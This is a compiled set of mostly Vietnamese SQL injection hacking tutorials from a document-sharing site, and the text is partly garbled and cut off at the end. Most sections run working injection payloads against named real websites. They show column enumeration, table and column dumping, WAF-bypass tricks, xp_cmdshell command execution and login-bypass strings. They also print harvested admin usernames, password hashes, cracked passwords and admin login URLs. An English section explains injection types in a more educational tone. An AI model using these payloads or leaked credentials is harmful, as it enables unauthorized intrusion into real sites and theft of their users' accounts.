Kiểm tra các lỗ hỏng sql Hack website cơ bản từ AZ

29 60 0
Kiểm tra các lỗ hỏng sql  Hack website cơ bản từ AZ

Đang tải... (xem toàn văn)

Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống

Thông tin tài liệu

Nói ngắn gọn, kinh nghiệm về bảo mật của tôi luôn bị giới hạn trong các môi trường giả lập. Và vì ngay từ ban đầu, tôi luôn tự ý thức rằng mình là một hacker mũ trắng (người tốt), nên không bao giờ tôi nhúng mũi mình vào công việc của người khác khá là có đạo đức nhể.Cho đến hôm nay thì mọi chuyện đã khác. Sau đây là câu chuyện chi tiết về cách mà tôi đã hack vào một server đang được dùng để lưu trữ và những kiến thức tôi đã thu được.

I Cách kiểm tra Website Lỗi SQL Cơ Bản Hacking Website - SQL injection Bước 1: Tìm Đường link bị lỗi +) Search đường link bi lỗi, ví dụ: http://www.konka.co.nz/productdetail.php?id=34 +) Kiểm tra đường link có bị lỗi hay ko cách thêm dấu " ' ": http://www.konka.co.nz/productdetail.php?id=34’ +) Nó lỗi nè: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line Bước 2: Xác Định Số Cột Có Trong Database +) Chèn sau url đoạn mã : order by …. (… giá trị số, thứ link bị lỗi dừng lại ) Ví dụ: http://www.konka.co.nz/productdetail.php?id=34 order by 4-+) Site khơng lỗi, tiếp tục thử: http://www.konka.co.nz/productdetail.php?id=34 order by 20-Nó lỗi kìa: Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /usr/local/www/vhosts/konka.co.nz/httpdocs/productdetail.php on line 26 +) Chứng tỏ số cột cần tìm nằm 20, tiếp tục thử: http://www.konka.co.nz/productdetail.php?id=34 order by 10-+) Nó ko lỗi, chứng tỏ số cột cần tìm nằm 10 20, tiếp tục thử http://www.konka.co.nz/productdetail.php?id=34 order by 15-+) Vẫn không lỗi, tiếp tục: http://www.konka.co.nz/productdetail.php?id=34 order by 16— Ah` ha, lỗi rồi: Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /usr/local/www/vhosts/konka.co.nz/httpdocs/productdetail.php on line 26 Suy số cột có database 16 -1 =15 Ok Bắt đầu khai thác tiếp Bước 3: Exploit Tên Các Tables TRong Database: +) Đánh sau link lỗi đoạn mã: and 1=0 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15-Mục đích: Tìm cột bị lỗi để khai thác từ cột khai thác tồn database Ví dụ: http://www.konka.co.nz/productdetail.php?id=34 and 1=0 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15-+) Ok! Đã tìm cột bị lỗi: số “ ”, tiếp tục khai thác, chèn đoạn mã vào số 3: unhex(hex(group_concat(table_name))) câu lệnh sau số 15: from information_schema.tables Ví du: http://www.konka.co.nz/productdetail.php?id=34 and 1=0 union select 1,2,unhex(hex(group_concat(table_name))),4,5,6,7,8 ,9,10,11,12,13,14,15 from information_schema.tables-+) Nó đa tồn tên bảng có database: CHARACTER_SETS,COLLATIONS,COLLATION_CHARACTER_SET_APPLICABILITY,C OLUMNS,COLUMN_PRIVILEGES,KEY_COLUMN _USAGE,PROFILING,ROUTINES,SCHEMATA,SCHEMA_PRIVILEG ES,STATISTICS,TABLES, TABLE_CONSTRAINTS, TABLE_PRIVI LEGES, TRIGGERS,USER_PRIVILEGES,VIEWS,active_guests ,active_users,banned_users,tb_cat,tb_news,tb_news_ category,tb_page,tb_page_category,tb_product,tb_pr oduct_category,tb_product_model,tb_product_pixel,t b_product_price, tb_product_selection,tb_product_su b_category,tb_return,tb_return_comments,tb_return_ status,users +) Ta ý thấy table có tên users chứa thơng tin tài khoản admin Ok, ta khai thác table này: Chèn đoạn mã vào số 3: unhex(hex(group_concat(column_name))) câu lệnh sau số 15: from information_schema.columns where table_name=0x7573657273-lưu ý: 7573657273 users dạng hex, ta chuyển đổi từ dạng chuỗi sang dạng hex, cách: vao google đánh:” convert string to hex” có link chuyển đổi đâu tiên: http://www.string-functions.com/string-hex.aspx Ví dụ: http://www.konka.co.nz/productdetail.php?id=34 and 1=0 union select 1,2, unhex(hex(group_concat(column_name))),4,5,6,7,8,9, 10,11,12,13,14,15 from information_schema.columns where table_name=0x7573657273-Ok, ta có thơng tin tên cột table “users”: username,password,userid,userlevel,email,timestamp Chúng ta thấy cột username password, tiếp tục khai thác để lấy thông tin Bước 4: +) Chèn đoạn mã sau vào số 3: group_concat(username,0x3a,password) sau số 15 là: from users (đây table chứa username password mà ta khai thác) Lưu ý: 0x3a ký tự “:” ngăn cách username password, 0x2f hay 0x7c “/” Ví dụ: : http://www.konka.co.nz/productdetail.php?id=34 and 1=0 union select 1,2,group_concat(username,0x3a,password),4,5,6,7,8 ,9,10,11,12,13,14,15 from users-+) Ok, ta thấy username password dạng mã hóa md5: admin:e10953e3b5537c441aa16defc89359b9, admin1:e00c f25ad42683b3df678c61f42c6bda, test1:147538da338b770 b61e592afc92b1ee6 +) Bây ta giải mã password: Vào link: http://www.md5cracker.org Ta giải mã password username: admin : linwood36 Username: admin1 là: admin1 Username: test1 : testt Bước 5: +) Tìm link admin đăng nhập vào ( nhiệm vụ bạn nhé!).( Bạn sử dụng tool havij find admin) Kết luận: +) Đây dạng hack website lỗi SQL bản, Mình muốn giới thiệu cho newbie băt đầu làm quen với hack web, pro trình độ cao đừng có chém nhá +)Cịn trang web lỗi SQl nhiêu vơ kể, bạn tự tìm lấy, tất nhiên lỗi có cách khai thác khác II Hack Site Lỗi SQL Cơ Bản! Friday, August 5, 2011 1:28:59 PM Hacking Website - SQL injection Hướng dẫn hack site: http://thegoidimy.com Link lỗi: http://thegoidimy.com/news.php?nt=28&nid=133 Kiểm tra link lỗi: http://thegoidimy.com/news.php?nt=28&nid=133' Xuất lỗi: Trang bị thiếu số thông tin Bước 1: Xác định sô trường cột +) http://thegoidimy.com/news.php?nt=28&nid=133 order by 15-Xuất lỗi: Trang bị thiếu thông tin, tiếp tục thử nhé: +) http://thegoidimy.com/news.php?nt=28&nid=133 order by 9-Trang hoạt động bình thường, tiếp tục +)http://thegoidimy.com/news.php?nt=28&nid=133 order by 10-Trang bị lỗi cũ, chững tỏ số trường cột bị lỗi là: 10 – 1= Bước 2: Xác Định cột bị lỗi: +) http://thegoidimy.com/news.php?nt=28&nid=133 union select 1,2,3,4,5,6,7,8,9— Câu lệnh rồi, không thấy số mã cả, khắc phục: thay: 133 = null +) http://thegoidimy.com/news.php?nt=28&nid=null union select 1,2,3,4,5,6,7,8,9— Ah`, số nhé, số số Thử xem version xem sao: + http://thegoidimy.com/news.php?nt=28&nid=null union select 1,version(),3,4,5,6,7,8,9— Ok, xuât hiên version , khơng cần phải đốn tables columns Có thể sử dụng unhex(hex(……… Bước 3: Exploit tên tables +)http://thegoidimy.com/news.php?nt=28&nid=null union select 1,unhex(hex(group_concat(table_name))),3,4,5,6,7,8,9 from information_schema.tables Đã xuât danh sách tables: CHARACTER_SETS,COLLATIONS,COLLATION_CHARACTER_SET_APPLICABILITY,COLU MNS,COLUMN_PRIVILEGES,KEY_COLUMN_USAGE,PROFILING,ROUTINES,SCHEMATA, SCHEMA_PRIVILEGES,STATISTICS,TABLES,TABLE_CONSTRAINTS,TABLE_PRIVILEGES,T RIGGERS,USER_PRIVILEGES,VIEWS,itkg_accessnumber,itkg_advertising,itkg_chat_lines,itkg _chat_online,itkg_chat_settings,itkg_chat_users,itkg_comments,itkg_config_site,itkg_contact,itk g_contact_purpose,itkg_country,itkg_customer,itkg_customer_support,itkg_documents,itkg_favo rite_list,itkg_flash,itkg_func,itkg_hotel_booking,itkg_hotel_roomtype,itkg_intro,itkg_map_distri ct,itkg_music,itkg_musicalbum,itkg_news,itkg_news_category,itkg_news_feedback,itkg_news_ty pe,itkg_orders,itkg_orders_details,itkg_payment,itkg_picturealbum,itkg_picturelib,itkg_postion,i tkg_postion_service,itkg_process,itkg_products,itkg_products_category,itkg_products_type,itkg_ reports,itkg_role,itkg_role_func,itkg_rss,itkg_service,itkg_service_category,itkg_users,itkg_vide o,itkg_videoalbum,news_address,news_category,news_category_description, Chúng ta y đến table có tên là: itkg_users , ta khai thác column table Bước 4: Exploit tên Columns Lưu ý: +) itkg_users có mã hex là: 69746b675f7573657273 +) link đổi dạng chuỗi sang hex: http://www.string-functions.com/string-hex.aspx +) “/” có mã hex : 0x7c Ok! Chúng ta tiếp tục: +) http://thegoidimy.com/news.php?nt=28&nid=null union select 1,unhex(hex(group_concat(column_name))),3,4,5,6,7,8,9 from information_schema.columns where table_name=0x69746b675f7573657273— Các column bị lòi rối nhé: username,password,fullname,address,phone,email,promotion_info,active,active_code,status,last est_login, Ta quan tâm đến columns: username,password đủ Bước 5: Get thông tin +) http://thegoidimy.com/news.php?nt=28&nid=null union select 1,group_concat(username,0x7c,password),3,4,5,6,7,8,9 from itkg_users – Ok! Đã có thơng tin username password nhé: admin|c4ca4238a0b923820dcc509a6f75849b, manager|1d0258c2440a8d19e716292b231e3190, user|ee11cbb19052e40b07aac0ca060c23ee Bước 6: Tìm link admin giải mã +) Link admin: http://thegoidimy.com/admin/templates/login.php +) Giải mã: link crack: http://md5cracker.org/ admin/1 Manager/ manager User/ user III Hướng Dẫn Hack site lỗi SQL bị chặn xuất “406 Not Acceptable “ Thursday, August 4, 2011 7:06:05 PM Hacking Website - SQL injection Hướng Dẫn Hack site lỗi SQL bị chặn xuất “406 Not Acceptable “ http://www.khaithong.com.vn/index.php ?do=products &id=-214+union all/*!50000select 1,group_concat(username,0x2f,password,0x2f),3,4+from+admin*/ -Site ví dụ: http://www.mp3hungama.com/ Đường link bị lỗi: http://www.mp3hungama.com/music/genre_albums.php?id=1 Kiểm tra đường link bị lỗi cách them dấu “ ‘ “ : http://www.mp3hungama.com/music/genre_albums.php?id=1' Xuất lỗi: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line Bước 1: +) Check Số số trường cột: sử dụng: “order by … “ http://www.mp3hungama.com/music/genre_albums.php?id=1 order by 10-Site bị lỗi, tiếp tục thử: +) http://www.mp3hungama.com/music/genre_albums.php?id=1 order by 3-Site bình thường, tiếp tục: +) http://www.mp3hungama.com/music/genre_albums.php?id=1 order by 4-Ok, site bị lỗi, chứng tỏ số cột có database là: 4-1 =3 Chúng ta tiếp tục khai thác nhé! Bước 2: Lấy thông tin version, database, user: + http://www.mp3hungama.com/music/genre_albums.php?id=1 union select 1,2,3 Câu lệnh mà xuất lỗi: 406 Not Acceptable This request is not acceptable Powered By LiteSpeed Web Server LiteSpeed Technologies is not responsible for administration and contents of this web site! +) Với lỗi này, ta thay khoảng trắng space bằng: %0a http://www.mp3hungama.com/music/genre_albums.php?id=1 union%0aselect 1,2,3-Ok, trang vào được, khơng thấy số má nhỉ, thử thay số null xem http://www.mp3hungama.com/music/genre_albums.php?id=null union%0aselect 1,2,3-Cũng không Cách bỏ qua, chuyển sng cách khác: http://www.mp3hungama.com/music/genre_albums.php?id=1 and (select from (select count(*),concat((select %0aconcat_ws(version(),database(),user())),floor(rand(0)*2))ducdung08clc from information_schema.tables group by ducdung08clc)bachkhoa) hix, bị lỗi 406 Not Acceptable This request is not acceptable Powered By LiteSpeed Web Server LiteSpeed Technologies is not responsible for administration and contents of this web site! Để khăc phục lỗi này, ta thử chèn %0a select concat_ws xem, http://www.mp3hungama.com/music/genre_albums.php?id=1 and (select from (select count(*),concat((select %0aconcat_ws(version(),database(),user())),floor(rand(0)*5))ducdung08clc from information_schema.tables group by ducdung08clc)bachkhoa) Ok, xuất thông tin ta muốn: [Duplicate entry 'hungama_music5.0.92-community-loghungama_fizi@localhost1' for key Version , ngon roofy, khơng cần phải mị mẫn Bước 3: Exploit tên tables + Chèn đoạn mã sau: http://www.mp3hungama.com/music/genre_albums.php?id=1 and (select from (select count(*),concat((select%0a/*!5000table_name*/ from information_schema.tables /*! 5000where*/ table_schema=database() limit 0,1),floor(rand(0)*2))ducdung08clc from information_schema.tables group by ducdung08clc)bachkhoa) Lưu ý: ta đặt /*!5000… */ mục đích để khơng bị chăn mod security xuất lỗi: "406 Not Acceptable " Ta table đầu tiên: 'active_guests’ Duplicate entry 'active_guests1' for key +) Để lấy tables ta thay: limit 1,1 limit 2,1… Cho tới tới table mà cần lấy Limit 1,1 table là: active_users Limit 2,1 table là: admin_review_mgt1… Và table muốn khai thác là: limit 43,1: users http://www.mp3hungama.com/music/genre_albums.php?id=1 and (select from (select count(*),concat((select%0a/*!5000table_name*/ from information_schema.tables /*! 5000where*/ table_schema=database() limit 43,1),floor(rand(0)*2))ducdung08clc from information_schema.tables group by ducdung08clc)bachkhoa) Duplicate entry 'users1' for key Ok! Tiếp tục khai thác table “users” Bước 4: Exploit tên columns +) http://www.mp3hungama.com/music/genre_albums.php?id=1 and (select from (select count(*),concat((select%0a/*!5000column_name*/ from information_schema.columns /*! 5000where*/ table_schema=database() and /*!5000table_name*/=0x7573657273 limit 0,1),floor(rand(0)*2))ducdung08clc from information_schema.tables group by ducdung08clc)bachkhoa) Xuât column là: “username” Duplicate entry 'username1' for key +) Tương tự trên, limit 1,1 http://www.mp3hungama.com/music/genre_albums.php?id=1 and (select from (select count(*),concat((select%0a/*!5000column_name*/ from information_schema.columns /*! 5000where*/ table_schema=database() and /*!5000table_name*/=0x7573657273 limit 1,1),floor(rand(0)*2))ducdung08clc from information_schema.tables group by ducdung08clc)bachkhoa) Ta column thứ 2: password Duplicate entry 'password1' for key Như đủ bạn nhỉ, Bước 5: Lấy thông tin admin: +)http://www.mp3hungama.com/music/genre_albums.php?id=1 and (select from (select count(*),concat((select%0Aconcat(username,0x7c,password) from users limit 0,1),floor(rand(0)*2))ducdung08clc from information_schema.tables group by ducdung08clc)bachkhoa) Kêt quả: Duplicate entry 'admin|3d145b6d4827e1f25994a3da418419e41' for key Ta có tài khoản admin bao gồm: username/password: admin| 3d145b6d4827e1f25994a3da418419e4 Lưu ý: từ đầu đến ta không quan tâm số cuối, nên password mã hóa ta khơng cho số vào +) Để lấy tài khoản quản trị khác ta việc lên “limit” Với limit 1,1 ta username/password: obaid|15d4b4bb7b462baf16e04eadc399e4be Với limit 2,1 ta username/password: geniusarien|2cbb8de1484e29bb4ad9865412c36f26 Với limit 3,1 ta username/password: junaidshaheen|a7899c013b27bd38e1e3a1905dfc1a65 Với limit 4,1 ta username/password: nicx|7eb865ffc81fb5eb3638ddbcfcb6a68c Với limit 5,1 ta username/password: munib|f5a4324a48f0f18095e7de550b2407bb http://thuonghieudatviet.com.vn/sites/index.php?id=126 And(Select From(Select Count(*),Concat((Select substr(Group_Concat(0x2f,version(),0x2f,database(),0x2f,user(),0x2f),1,136)From tbl_user),floor(rAnd(0)*2))ducdung08clc From Information_Schema.columns Group By ducdung08clc)bachkhoaHN) Cách 3: http://thuonghieudatviet.com.vn/sites/index.php?id=126 and (select from (select count(*),concat(0x2f,version(),0x2f,database(),0x2f,user(),0x2f,floor(rand(0)*2)) from (select union select union select 3)ducdung08clc group by 2)bachkhoaHN) Cách 4: http://thuonghieudatviet.com.vn/sites/index.php?id=126 or group by concat(0x2f,version(),0x2f,database(),0x2f,user(),0x2f,floor(rand(0)*2)) having min(1) or Tất cách cho thông tin cần tìm: Invalid query: Duplicate entry '/5.0.92community/thuonghi_thdv/thuonghi_thdv@localhost/1' for key IV- Exploiting tables_name Tôi khai thác cách lại cách khác bạn làm tương tự nhé: http://thuonghieudatviet.com.vn/sites/index.php?id=126 And(Select From(Select Count(*),Concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),floor(rAnd(0)*2))ducdung08clc From Information_Schema.columns Group By ducdung08clc)bachkhoaHN) Xuất hiện, tên bẳng đầu tiên: “tbl_user” khơng có số Invalid query: Duplicate entry 'tbl_user1' for key Để lấy exploits bảng bạn thay limit 0,1 thành limit 1,2 limit 2,1 limit 3,1… Cho tới tên bẳng mà cần khai thác V – Exploiting columns_name http://thuonghieudatviet.com.vn/sites/index.php?id=126 And(Select From(Select Count(*),Concat((select column_name from information_schema.columns where table_schema=database() and table_name=0x74626c5f75736572 limit 0,1),floor(rAnd(0)*2))ducdung08clc From Information_Schema.columns Group By ducdung08clc)bachkhoaHN) Đã xuât côt đầu tiên: “id” Invalid query: Duplicate entry 'id1' for key Tiếp tục lấy cột thứ 2: http://thuonghieudatviet.com.vn/sites/index.php?id=126 And(Select From(Select Count(*),Concat((select column_name from information_schema.columns where table_schema=database() and table_name=0x74626c5f75736572 limit 1,1),floor(rAnd(0)*2))ducdung08clc From Information_Schema.columns Group By ducdung08clc)bachkhoaHN) Ok, ta có column: “username” Invalid query: Duplicate entry 'username1' for key Tiếp tục lấy cột thứ 3: http://thuonghieudatviet.com.vn/sites/index.php?id=126 And(Select From(Select Count(*),Concat((select column_name from information_schema.columns where table_schema=database() and table_name=0x74626c5f75736572 limit 2,1),floor(rAnd(0)*2))ducdung08clc From Information_Schema.columns Group By ducdung08clc)bachkhoaHN) Ta column: “password” Invalid query: Duplicate entry 'password1' for key VI – Khai thác thông tin username password http://thuonghieudatviet.com.vn/sites/index.php?id=126 And(Select From(Select Count(*),Concat((select concat(0x2f,username,0x2f,password,0x2f) from tbl_user limit 0,1),floor(rAnd(0)*2))ducdung08clc From Information_Schema.columns Group By ducdung08clc)bachkhoaHN) Ok, Xuât thông tin cần khai thác: Invalid query: Duplicate entry '/dk@@86/e50de53e74fb5c52efcf2feda8159c24/1' for key VII - Giải Mã password tìm link admin Username: dk@@86 Password: (*&^%$#@! (theo md5) Iink admin: http://thuonghieudatviet.com.vn/administrator/index.php VI SQL injection (SQLi) Tutorial series part-1 09/04/2012 Comments Hello friends, I am Balaji Gopal This is my first tutorial on SQL injection Thanks a lot to Ashish Mistry for giving me opportunity to write this tutorial Also love and greets to Ghost rider hacker, Nilesh Aherrao, Sanket Jagtap, Vinit Patil, Abhishek Koserwal, Saurabh Nemade and all other friends who have always supported me to become what I am now Lets start with the tutorial SQL Injection is one of the more popular application layer hacking techniques that is used in the wild today It is a type of input validation attack i.e it occurs when the programmer/developer fails to properly validate the input given by the user SQL injection is one of the top 10 vulnerabilities specified by OWASP (Open Web Application Security Project) The threat due to SQL injection is very high According to a report by Barclays "97 percent of data breaches due to SQL injection." Penalties for doing SQL injection under IT act are severe, including heavy fines or imprisonment Now let’s see what it is exactly in detail Basically SQL stands for Structured Query Language, and it is the language used by most website databases RDBMS is the basis for SQL, and for all modern database systems like MSSQL Server, Oracle, MySQL etc Data is stored in the database in the form of tables A database most often contains one or more tables Tables contains one or more columns and data is stored in these columns Data in the database is retrieved using queries Generally in a website the front end and back end connectivity is done so that end user can retrieve data or enter data from the front end into the backend Consider front end is PHP and back end is MySQL then the connectivity is done using mysql_connect("servername, username, password ") Here is a sample code Once the connectivity is done the front end and back end starts interacting Whatever request is done by the end user from the front end is requested to the back-end in the form of SQL queries and end user gets the required result But it is possible for an attacker to send malicious request (generally SQL queries) from the front end and forcing the back-end to execute those queries and give the result This is called SQL injections SQL injection is a technique that is used to take advantage of non-validated input vulnerabilities to pass SQL commands through a Web application for execution by a back-end database A successful SQL injection exploit can enable the attacker to read sensitive data from the database, insert/update/delete operations, execute administration operations on the database (such as shutdown the DBMS) It clearly means SQL injection attack is possible only on those websites/web applications which have a back-end SQL injection is possible on almost all databases (MySQL, MsSQL, Oracle, MS ACCESS etc) This attack is done by injecting malicious SQL queries from forms or from the URL The possible types of SQL injection that can be exploited by the attacker are: • Poorly Filtered Strings • Incorrect Type Handling • Signature Evasion • Filter Bypassing • Blind SQL Injection Lets have some explanation on it Poorly Filtered Strings SQL injections based on poorly filtered strings are caused by user input that is not filtered for escape characters If the validation for the user input is not done properly then the attacker can send SQL strings from the form to execute in the database and hence compromising the security Example: Attacker puts 'or''=' in the form and sends it to the back-end Inserting the above string will generate a query like this: SELECT password FROM users WHERE password = '' OR 1'='1 This query will return true and thus giving the attacker illegal access Incorrect Type Handling Incorrect type handling based SQL injections occur when an input is not checked for type constraints In simple language the data type of the input is not validated properly which is then manipulated by attackers to execute SQL queries Example: Suppose the input data type is not properly validated Consider the following query: SELECT * FROM table WHERE id = "pid"; An attacker will put input something like this 1;SHOW TABLES and the query will be interpreted as SELECT * FROM userinfo WHERE id=1;SHOW TABLES; Signature Evasion Many SQL injections will be somewhat blocked by intrusion detection and intrusion prevention systems using signature detection rules Common programs that detect SQL injections are mod_security or WAF (web application firewall) These techniques are not 100% secure and can be bypassed Example: If the firewall is blocking keywords like "union", "all", "select" etc then the attacker can bypass it by commenting SQL keywords like this /*!union*/ /*!all*/ /*!select*/ Also there are many other ways which will be discussed in further tutorials Filter Bypassing Generally while doing sql injection, some sql keywords are used like union, select, from etc the administrator filters these keywords so as to block such requests but it still becomes possible for an attacker to bypass these kind of filters Example: the attacker attacks like this, index.php?id=1 union all select 1,2,3 n site gives response 406 not acceptable so by using tricks like this index.php?id=1 /*!union*/ /*!all*/ *!select*/ 1,2,3 the attacker bypasses the security there are many ways to bypass this it depends on how strongly the administrator has created the filter Blind SQL injection Blind SQL Injection is used when a web application is vulnerable to an SQL injection but the results of the injection are not visible to the attacker The page with the vulnerability may not be one that displays data but will display differently depending on the results of a logical statement injected into the legitimate SQL statement called for that page Blind SQL injection takes a lot of time and patience Example: site.com/index.php?id=1 and 1=1 will load normal page but site.com/index.php?id=1 and 1=2 will give a different result if the page is vulnerable to a SQL injection There are many more varieties of SQL injection attacks which will be discussed in the next tutorials Thanks a lot for reading my first tutorial If you have any questions than please ask in comments, Further in this tutorial series all above mentioned attacks will be explained in detail I will give my best to make this tutorial as easy and informative as possible Suggestions happily accepted for future tutorials Article author: Balaji Gopal Article license: SQL injection tutorial series by Balaji Gopal is licensed under a Creative Commons Attribution-NonCommercial-NoDerivs 3.0 Unported License http://lauxanh.org/online/search.php?search_type=all&keyword=aaa %27+UNION+SELECT+1,2,group_concat%28username,0x2f,password,0x2f %29,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25+from+user +- VII Tìm hiểu SQL Injection Mục lục: SQL Injection gì? Tìm kiếm mục tiêu K iểm tra chỗ yếu trang web Tại ' or 1=1 bypass login? Thi hành lệnh từ xa SQL Injection 6.Nhận output SQL query Nhận data qua 'database using ODBC error message' Xác định tên column table Thu thập liệu quan trọng 10 Nhận numeric string 11 Update/insert data vào CSDL 12 Ngăn chặn SQL Injection 13 Tài liệu thao khảo 1) SQL Injection gì? SQL Injection kiểu hack web dần trở nên phổ biến Bằng cách inject mã SQL query/command vào input trước chuyển cho ứng dụng web xử lí, bạn login mà khơng cần username password, remote execution, dump data lấy root SQL server Cơng cụ dùng để cơng trình duyệt web bất kì, chẳng hạn Internet Explorer, Netscape, Lynx, 2) Tìm kiếm mục tiêu Bạn search trang web cho phép submit data search-engine mạng, chẳng hạn trang login, search, feedback, http://vịtcon/index.asp?id=10 Một số trang web chuyển tham số qua field ẩn, bạn phải xem mã HTML thấy rõ 3) Kiểm tra chỗ yếu trang web Thử submit field username, password field id, hi' or 1=1 Login: hi' or 1=1 Pass: hi' or 1=1 http://vịtcon/index.asp?id=hi' or 1=1-Nếu site chuyển tham số qua field ẩn, bạn download source HTML, lưu đĩa cứng thay đổi lại URL cho phù hợp Ví dụ: Nếu thành cơng, bạn login vào mà khơng cần phải biết username password 4) Tại ' or 1=1 bypass login? Giả sử có trang asp link đến asp trang khác với URL sau: http://vịtcon/index.asp?category=food Trong URL trên, biến 'category' gán giá trị 'food' Mã asp trang sau (đây ví dụ thơi): v_cat = request("category") sqlstr="SELECT * FROM product WHERE PCategory='" & v_cat & "'" set rs=conn.execute(sqlstr) v_cat chứa giá trị biến request.category, 'food' câu lệnh SQL là: SELECT * FROM product WHERE PCategory='food' Dòng query trả tập resultset chứa nhiều dòng phù hợp với điều kiện WHERE PCategory='food' Nếu bạn thay đổi URL thành http://vịtcon/index.asp? category=food' or 1=1 , biến v_cat chứa giá trị "food' or 1=1 " dòng lệnh SQL query là: SELECT * FROM product WHERE PCategory='food' or 1=1 ' Dòng query select thứ table product bất chấp PCategory có 'food' hay khơng Hai dấu gạch ngang " " cho MS SQL server biết hết dòng query, thứ lại sau " " bị bỏ qua Đối với MySQL, bạn thay " " thành "#" Bạn thử cách khác cách submit ' or 'a'='a Dòng SQL query là: SELECT * FROM product WHERE PCategory='food' or 'a'='a' Một số data khác mà bạn nên submit để biết xem trang web có gặp lỗi hay khơng: ' or 1=1-" or 1=1-or 1=1-' or 'a'='a " or "a"="a ') or ('a'='a 5) Thi hành lệnh từ xa SQL Injection Nếu cài đặt với chế độ default, MS SQL Server chạy mức SYSTEM, tương đương với mức truy cập Administrator Windows Bạn dùng master xp_cmdshell để thi hành lệnh từ xa: '; exec master xp_cmdshell 'ping 10.10.1.2'-Hãy thử dùng dấu nháy đôi (") dấu nháy đơn (') không làm việc Dấu chấm phẩy ( ; ) kết thúc dòng SQL query cho phép bạn thi hành SQL command Để kiểm tra xem lệnh có thi hành hay khơng, bạn listen ICMP packet from 10.10.1.2 tcpdump sau: #tcpdump icmp Nếu nhận ping request từ 10.10.1.2 nghĩa lệnh thi hành 6) Nhận output SQL query Bạn dùng sp_makewebtask để ghi output SQL query file HTML '; EXEC master sp_makewebtask "\\10.10.1.3\share\output.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES" folder "share" phải share cho Everyone trước 7) Nhận data qua 'database using ODBC error message' Các error message MS SQL Server thường đưa cho bạn thơng tin quan trọng Lấy ví dụ http://vịtcon/index.asp?id=10, thử hợp integer '10' với string khác lấy từ CSDL: http://vịtcon/index.asp?id=10 UNION SELECT TOP TABLE_NAME FROM INFORMATION_SCHEMA.TABLES-System table INFORMATION_SCHEMA.TABLES chứa thơng tin tất table có server Field TABLE_NAME chứa tên table CSDL Chúng ta chọn biết tồn Query là: SELECT TOP TABLE_NAME FROM INFORMATION_SCHEMA.TABLESDòng query trả tên table CSDL Khi UNION string với số integer 10, MS SQL Server cố thử chuyển string (nvarchar) thành số integer Điều gặp lỗi không chuyển nvarchar sang int, server thông báo lỗi sau: Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'table1' to a column of data type int /index.asp, line Thông báo lỗi cho biết giá trị muốn chuyển sang integer khơng được, "table1" Đây tên table CSDL mà muốn có Để lấy tên tên table tiếp theo, bạn dùng query sau: http://vịtcon/index.asp?id=10 UNION SELECT TOP TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')-Bạn search data từ khóa LIKE: http://vịtcon/index.asp?id=10 UNION SELECT TOP TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%25login%25'-Output: Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'admin_login' to a column of data type int /index.asp, line Mẫu so sánh '%25login%25' tương đương với %login% SQL Server Như bạn thấy error message trên, xác định tên table quan trọng "admin_login" ) Xác định tên column table Table INFORMATION_SCHEMA.COLUMNS chứa tên tất column table Bạn khai thác sau: http://vịtcon/index.asp?id=10 UNION SELECT TOP COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'-Output: Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_id' to a column of data type int /index.asp, line Như tên column "login_id" Để lấy tên column tiếp theo, bạn dùng mệnh đề logic NOT IN () sau: http://vịtcon/index.asp?id=10 UNION SELECT TOP COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')-Output: Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_name' to a column of data type int /index.asp, line Làm tương tự trên, bạn lấy tên column lại "password", "details" Bạn lấy tên column qua error message error sau: http://vịtcon/index.asp?id=10 UNION SELECT TOP COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')-Output: Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the select list if the statement contains a UNION operator /index.asp, line 9) Thu thập liệu quan trọng Chúng ta xác định tên table column quan trọng Chúng ta thu thập thông tin quan trọng từ table column Bạn lấy login_name table "admin_login" sau: http://vịtcon/index.asp?id=10 UNION SELECT TOP login_name FROM admin_login-Output: Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'neo' to a column of data type int /index.asp, line Bạn dễ dàng nhận admin user có login_name "neo" Hãy thử lấy password "neo" sau: http://vịtcon/index.asp?id=10 UNION SELECT TOP password FROM admin_login where login_name='neo'-Output: Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'm4trix' to a column of data type int /index.asp, line Bây bạn login vào với username "neo" password "m4trix" 10) Nhận numeric string Có hạn chế nhỏ phương pháp Chúng ta nhận error message server chuyển text dạng số (text chứa kí tự số từ đến 9) Giả sử password "trinity" "31173" http://vịtcon/index.asp?id=10 UNION SELECT TOP password FROM admin_login where login_name='trinity'-Bạn nhận thông báo lỗi "Page Not Found" Lí server chuyển passoword "31173" sang dạng số trước UNION với integer 10 Để giải vấn đề này, thêm vài kí tự alphabet vào numeric string để làm thất bại chuyển đổi từ text sang số server Dòng query sau: http://vịtcon/index.asp?id=10 UNION 